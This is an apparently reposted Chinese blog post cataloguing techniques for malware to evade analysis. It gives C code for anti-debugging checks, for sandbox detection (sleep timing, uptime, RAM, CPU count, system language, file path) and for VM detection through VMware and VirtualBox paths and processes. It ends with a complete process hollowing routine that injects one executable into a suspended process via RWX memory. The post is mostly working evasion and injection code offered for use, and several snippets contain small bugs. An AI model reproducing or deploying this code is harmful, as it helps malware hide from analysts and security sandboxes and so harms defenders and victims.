常见的反沙箱反虚拟机思路

2024-04-01 934 0

反调试

IsDebuggerPresent

#include<windows.h>
#include<stdio.h>
BOOL check()
{
	return IsDebuggerPresent();
}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

CheckRemoteDebuggerPresent

BOOL CheckRemoteDebuggerPresent(
  [in]      HANDLE hProcess,
  [in, out] PBOOL  pbDebuggerPresent
);
#include<windows.h>
#include<stdio.h>
BOOL check()
{
    HANDLE hProcess = GetCurrentProcess();
    BOOL debuggerPresent;
    if (hProcess != NULL) {
        CheckRemoteDebuggerPresent(hProcess, &debuggerPresent);
        CloseHandle(hProcess);
        return debuggerPresent;        
    }
    else {
        CloseHandle(hProcess);
        return TRUE;
    }


}
BOOL isPrime(long long number){
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

NtQueryInformationProcess

#include<windows.h>
#include<stdio.h>
#include<iostream>
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
    _In_      HANDLE           ProcessHandle,
    _In_      UINT             ProcessInformationClass,
    _Out_     PVOID            ProcessInformation,
    _In_      ULONG            ProcessInformationLength,
    _Out_opt_ PULONG           ReturnLength);
BOOL check()
{
    pfnNtQueryInformationProcess NtQueryInformationProcess = NULL;
    NTSTATUS status;
    DWORD isDebuggerPresent = -1;
    HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
    if (hNtDll)
    {
        NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
        if (NtQueryInformationProcess)
        {
            status = NtQueryInformationProcess(
                GetCurrentProcess(),
                0x7,
                &isDebuggerPresent,
                sizeof(DWORD),
                NULL
            );
            if (status == 0 && isDebuggerPresent != 0) {
                // 输出
                return TRUE;
            }
            return FALSE;
        }
    }
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i<= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
    BOOL d=isPrime(1000000000000000003);
	return 0;
}

检测进程

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        printf("错误:无法创建进程快照\n");
        return 1;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        printf("错误:无法获取第一个进程\n");
        CloseHandle(hProcessSnap);
        return 1;
    }
    do {
        if (wcscmp(pe32.szExeFile, L"ida.exe") == 0 || wcscmp(pe32.szExeFile, L"x64dbg.exe")==0) {
            CloseHandle(hProcessSnap);
            return TRUE;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    return FALSE;
}
BOOL isPrime(long long number)
{
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
int main()
{
    if (check())
        BOOL d = isPrime(1000000000000000003);
    return 0;
}

反沙箱

时间对抗

WaitForSingleObject

HANDLE CreateEventA(
  [in, optional] LPSECURITY_ATTRIBUTES lpEventAttributes,
  [in]           BOOL                  bManualReset,
  [in]           BOOL                  bInitialState,
  [in, optional] LPCSTR                lpName
);
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL check()
{
    HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
    WaitForSingleObject(hEvent, 10000);
    CloseHandle(hEvent);
    return FALSE;
}
int main()
{
    if (check()){}
    return 0;
}

NtDelayExecution

#include <windows.h>
#include <iostream>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL check()
{
    // 加载 ntdll.dll
    HMODULE hModule = LoadLibrary(L"ntdll.dll");
    if (hModule == NULL) {
        return 1;
    }
    // 获取 NtDelayExecution 函数地址
    pfnNtDelayExecution fnNtDelayExecution = (pfnNtDelayExecution)GetProcAddress(hModule, "NtDelayExecution");
    if (fnNtDelayExecution == NULL) {
        FreeLibrary(hModule);
        return 1;
    }

    // 构造延迟时间
    LARGE_INTEGER delayTime;
    delayTime.QuadPart = -50000000;  //5秒

    // 调用 NtDelayExecution 函数
    NTSTATUS status = fnNtDelayExecution(FALSE, &delayTime);
    if (status != 0) {
        std::cout << "NtDelayExecution failed with status: " << status << std::endl;
        FreeLibrary(hModule);
    }
}
int main()
{
    if (check()){}
    return 0;
}

GetTickCount64

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    ULONGLONG t = GetTickCount64();
    if (t / 3600000 < 2)
        return TRUE;
    return FALSE;
}

环境检测

GlobalMemoryStatusEx

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        MEMORYSTATUSEX memoryStatus;
        memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
        GlobalMemoryStatusEx(&memoryStatus);
        DWORD RAMMB = memoryStatus.ullTotalPhys / 1024/1024/1024;  //内存RAMMB(G)
        if (RAMMB < 2)
            return TRUE;
        return FALSE;
}

dwNumberOfProcessors

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
        SYSTEM_INFO systemInfo;
        GetSystemInfo(&systemInfo);
        DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
        if (numberOfProcessors < 4)
            return TRUE;
        return FALSE;
}

检测文件名

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    printf("%s", name);
    if (strcmp(name, "c:\\c_project\\aaa.exe") > 0) //绝对路径
    {
        return FALSE;
    }
    return TRUE;
}

检测语言

#include <windows.h>
#include <sysinfoapi.h>
#include <stdio.h>
typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval);
BOOL isPrime(long long number);
BOOL check(const char* name);
int main(int argc, char const* argv[])
{
    if (check(argv[0])) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check(const char *name)
{
    LANGID lid = GetSystemDefaultLangID(); // 获取系统默认ID
    switch (lid)
    {
    case 0x0804://中文
        return FALSE;
        
    case 0x0409:
        return TRUE;
    }
    return TRUE;    
}

反虚拟机

PathIsDirectoryA

#include<shlwapi.h>
#include <windows.h>
#include<iostream>
#include<stdio.h>
#pragma comment(lib, "shlwapi.lib")

BOOL isPrime(long long number);
BOOL check();
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (PathIsDirectoryA((LPCSTR) "C:\\Program Files\\VMware"))
        return TRUE;
    return FALSE;
}

进程检测
常见的反沙箱反虚拟机思路插图

#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>

BOOL isPrime(long long number);
BOOL check();
BOOL getpid(LPCTSTR ProcessName);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(L"vmtoolsd.exe")|| getpid(L"vboxservice.exe") || getpid(L"vboxtray.exe") || getpid(L"vm3dservice.exe"))
        return TRUE;
    return FALSE;
}
BOOL getpid(LPCTSTR ProcessName)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败\n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
            {
                printf("pid:%d\n", pe32.th32ProcessID);
                //printf("ppid:%d", pe32.th32ParentProcessID);
                CloseHandle(hProceessnap);
                return TRUE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

黑DLL父进程检测

#include <windows.h>
#include <TlHelp32.h>
#include<stdio.h>
#include<psapi.h>
#include<string.h>
BOOL isPrime(long long number);
BOOL check();
BOOL getpid(DWORD pid);
int main()
{
    if (check()) { isPrime(1000000000000000003); }
    return 0;
}
BOOL isPrime(long long number) {
    if (number <= 1)
        return FALSE;
    int i = 2;
    for (; i <= number; ++i) {
        if (number % i == 0) {
            printf("%d", i);
            return FALSE;
        }
    }
    printf("%d", i);
    return TRUE;
}
BOOL check()
{
    if (getpid(GetCurrentProcessId()))
        return TRUE;
    return FALSE;
}
BOOL getpid(DWORD pid)
{
    HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProceessnap == INVALID_HANDLE_VALUE)
    {
        puts("创建进行快照失败\n");
        return 0;
    }
    else
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        BOOL hProcess = Process32First(hProceessnap, &pe32);
        while (hProcess)
        {
            if (pe32.th32ProcessID == pid)
            {
                char Buffer[1000] = { 0 };
                HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ParentProcessID);
                printf("%d\n", pe32.th32ParentProcessID);
                GetModuleFileNameExA(parentProcessHandle, 0, Buffer, MAX_PATH);
                printf("%s", Buffer);
                CloseHandle(hProceessnap);
                if(strstr(Buffer,"rundll32"))
                return TRUE;
                return FALSE;
            }
            hProcess = Process32Next(hProceessnap, &pe32);
        }
    }
    CloseHandle(hProceessnap);
    return FALSE;
}

傀儡进程

#include <iostream>
#include <Windows.h>
const char* g_TargetFile = R"(C:\Users\coleak\Desktop\ee.exe)";
const char* g_TargetFile2 = R"(C:\Users\coleak\Desktop\dd.exe)";
typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID);

int main()
{
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(STARTUPINFOA);
	PROCESS_INFORMATION pi;
	//以挂起的模式启动一个进程
	BOOL bRet = CreateProcessA((LPCSTR)g_TargetFile2, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	//打开文件
	HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
	//获取文件大小
	DWORD dwFileSize = GetFileSize(hFile, NULL);
	//申请一块内存空间
	PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	//将内存读取到申请的内存空间
	DWORD dwReadLength = 0;
	ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
	//关闭文件
	CloseHandle(hFile);
	//解析PE文件
	//获取Dos头
	PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer;
	//获取Nt头
	PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer);
	//获取线程上下文
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(pi.hThread, &ctx);
	//获取模块基地址
	PVOID lpImageBase;
	ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL);
	if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase)
	{
		FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection");
		NtUnmapViewOfSection(pi.hProcess, lpImageBase);
	}

	//申请内存设置属性为rwx
	PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL);
	PIMAGE_SECTION_HEADER pSection;
	for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
	{
		pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i));
		WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL);
	}

	ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint);
	//替换PE头
	WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL);

	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	return 0;
}

后记

GetSystemDefaultLangID函数返回值ID参照表

zh-HK 0x0C04 中文(香港特别行政区,中国)
zh-MO 0x1404 中文(澳门特别行政区)
zh-CN 0x0804 中文(中国)
zh-Hans 0x0004 中文(简体)
zh-SG 0x1004 中文(新加坡)
zh-TW 0x0404 中文(台湾)
zh-Hant 0x7C04 中文(繁体)

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论